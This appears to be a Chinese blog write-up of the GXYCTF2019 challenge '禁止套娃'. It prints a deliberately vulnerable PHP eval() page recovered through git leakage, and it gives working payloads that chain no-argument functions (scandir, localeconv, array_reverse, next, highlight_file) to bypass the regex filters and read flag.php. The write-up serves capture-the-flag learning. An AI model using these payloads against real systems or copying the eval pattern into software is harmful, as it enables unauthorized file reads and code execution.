[GXYCTF2019]禁止套娃

打开环境,只看到:flag在哪里呢?
查看源码也没有发现任何有用的内容,直接用工具扫看看,用dirsearch扫完还是没发现。这时想到有没有可能存在源码泄露。
用GitHack试一下,结果真的存在git泄露,并得到一个index.php:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析代码,包含了flag.php,输出:flag在哪里呢? 就是现在的页面。接着GET方式传入exp参数。

* 第一个if是个正则匹配(preg_match() 函数是用来匹配的,如果存在就返回真),过滤了 data/filter/php/phar伪协议,不能以伪协议直接读取文件。

* 第二个if是要求我们有一个’;‘,即表达式前面内容被替换完只剩“;”(preg_replace 函数执行一个正则表达式的搜索和替换)(?R)引用当前表达式,后面加了?递归调用,如果用有参数的函数就会在替换后剩下参数,所以只能匹配通过无参数的函数。 就是只允许:a(b(c())); a();这种格式。
 有关递归参考:https://blog.csdn.net/technofiend/article/details/49906755
 
   *第三个if过滤了一些关键字

这样一来,失去了参数,我们进行RCE的难度则会大幅上升。既然getshell基本不可能,那么考虑读源码。看源码,flag应该就在flag.php。我们想办法读取,首先需要得到当前目录下的文件。
scandir()函数可以扫描当前目录下的文件 但是scandir函数要有一个参数呀,这里就有一个localeconv函数了。
localeconv() 函数是用来返回一包含本地数字及货币格式信息的数组,数组第一个值是"."。
但返回的结果为数组类型,就用current()函数 返回数组中的当前单元, 默认取第一个值“.”。 每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。 pos()函数current()函数的别名。
array_reverse()函数以相反的元素顺序返回数组。
next() 函数将内部指针指向数组中的下一个元素,并输出。
最后用 **show_source()、 highlight_file()、readfile()**三个中的一个函数将结果打印到屏幕。

先构造:?exp=print_r(scandir(current(localeconv())));
在这里插入图片描述

会发现当前目录下的flag.php排在倒数第二个位置.这里我们有next函数可以输出数组中内置指针加’1’指向的位置.可是我们无法通过3个next函数得到flag.php因为next函数它的返回类型并不是一个数组.所以换个思路,先将数组倒转过来,然后再通过next函数得到flag.php.接着在对应进行打印输出.

构造payload:?exp=print_r(array_reverse(scandir(current(localeconv()))));
把数组反过来了:
在这里插入图片描述

这样就可以把数组反过来了,再加上个next把指针指向下一个,构造:highlight_file(next(array_reverse(scandir(current(localeconv())))));
得到答案。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值